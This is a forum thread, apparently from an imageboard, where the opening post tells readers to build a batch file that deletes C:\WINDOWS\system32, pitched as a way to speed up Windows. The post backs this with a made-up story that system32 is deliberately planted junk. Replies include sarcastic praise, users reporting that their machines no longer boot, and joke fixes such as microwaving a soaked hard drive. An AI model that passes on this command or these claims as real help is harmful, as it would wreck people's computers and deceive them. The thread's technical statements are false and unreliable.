Okay newfags, listen up. When Microsoft was first getting started, they knew they wouldn't make enough money just from the profits of their operating system. Everybody knows people pirate Windows, So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called "system32" in the windows folder that literally slows down your machine. "system32" hold 32 GIGABYTES of deleted files, internet history, uninstalled progams, and other worthless shit that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC "Cleaning" tools, like TuneUp Utilites, Norton Antivirus, ect. More money for them. Sup Forums isn't cool with that, however. Here's how to outsmart those assholes once and for all; Open Notepad Type the following text: @echo off del C:\WINDOWS\system32 save as "speedup.bat" (select "all files" instead of "text document" Save it to Desktop Double-click the .bat file
Reboot and your PC is twice as fast. (you didn't hear it from us)
Austin Torres
lol
Sebastian Stewart
Thank you man..was looking for anything that would help me run dark souls 3. it keep lagging even tho i have way above min. specs. what a bunch of fucktards, buying a mac next time
Connor Hernandez
>had to get creative >get creative
Anthony Wright
Thx OP! My PC now runs perfect!!!
Ayden Ortiz
greentexting "creative" >implying green is creative smh
Matthew Robinson
DAMN! Why didn't I find this before? Freed up more space than a coked up whore on garcinia cambogia. Thanks op.
Luke Jackson
OP is the one you guys, listen to him.
Ryder James
on this day, op was not a faggot
Juan Myers
Now I'm on here on my phone because my computer won't restart...... WTF. Did I do something wrong?
Asher Wilson
did you type 'del' in caps like a retard? if so, you need to get a fridge magnet or something and clear the corruption by rubbing over the affected hard drive. do exactly as the OP says next time you warbling imbecile.
Gavin Edwards
nobody fell for that shit since 2004
Aiden Watson
I think I put a space in the name. Speed up.bat instead of speedup.bat
Gabriel Peterson
how do I delete system 32 out of mac os ?
Josiah Brooks
Is this a scam? Did I just fuck my computer!!
Jaxson Long
...
Levi Stewart
Seriously.! Someone help me! It keeps telling me that there's a problem and puts me in the recovery shit! I don't have the fucking disk!
Nathaniel Collins
thanks OP, I didnt believe it at first, but now my pc is now much faster
Nathan Jones
Windows 8. Please I need help fixing this shit! I just got this computer a couple months ago.
Landon Ward
Shitty job on Microsoft's part. I'm impressed, Sup Forums. This is one of the very few things you've done to help new people. I'm already noticing a speed increase on my PC.
Joseph Flores
Has science gone too far?
Elijah Rivera
Oh wow, this actually worked
Henry Davis
Dude! Seriously! I tried it and my computer won't boot up now! Can it be fixed?
Blake Johnson
thanks op this tip has fixed my computer and stopped me from being my wife
Jackson Jones
Crysis is now smooth as butter, thx
Michael Robinson
see
Joseph King
Fuck this! I'm reporting this shit to the police!! You're gunna pay for my computer!! You can bet on that shit!
Austin Adams
Holy shit, this is fucking amazing, I can actually run battlefield 4 at ultra now.
Thanks OP!
Gabriel Williams
I really hope some people do this...
Aaron Collins
Moar
Bentley Morris
You messed up on the notepad, try removing the hard drive and put it in water, then microwave it. The water soaks the rays from the micowave and then disperses them over time through saturation of the platinum in the disk of the hard drive.
Ayden Phillips
I did and it fucked my computer!! Fucking asshole OP!
Jonathan Gutierrez
>Trying to bait an old DOS guy into this >my face when I have no face
Gavin Ramirez
It says I need to install "wine"?
Landon Roberts
Stfu nobody believes you or cares
Eli Clark
>2016 >not using a mac Are people mentally challenged?
James Cooper
nah Sup Forumsro this thread is just a bunch of retards pretending to fuck up their pc
Nolan Gomez
Did you legit fall for it
Joshua Sanders
I bet a couple of them beloved me.lol. That's why we are here. For entertainment purposes
Camden Howard
thanks guy! I just did that and now my shit is running at least twice as fast. wish I could paypal you some money as my way to say thanks.
Colton Roberts
Some people are, yeah. In fact stats show more retarded people use macs.
Jaxson Fisher
/thread
Sebastian Gray
what "fall" for it dumbass? this thread is made to help people fix their computers
Sent from my Android phone
Aaron King
OK. So I followed your instructions but my 64bit system isn't any faster. Refund?
Angel Gray
Thread is now on page 5.and half way to death.....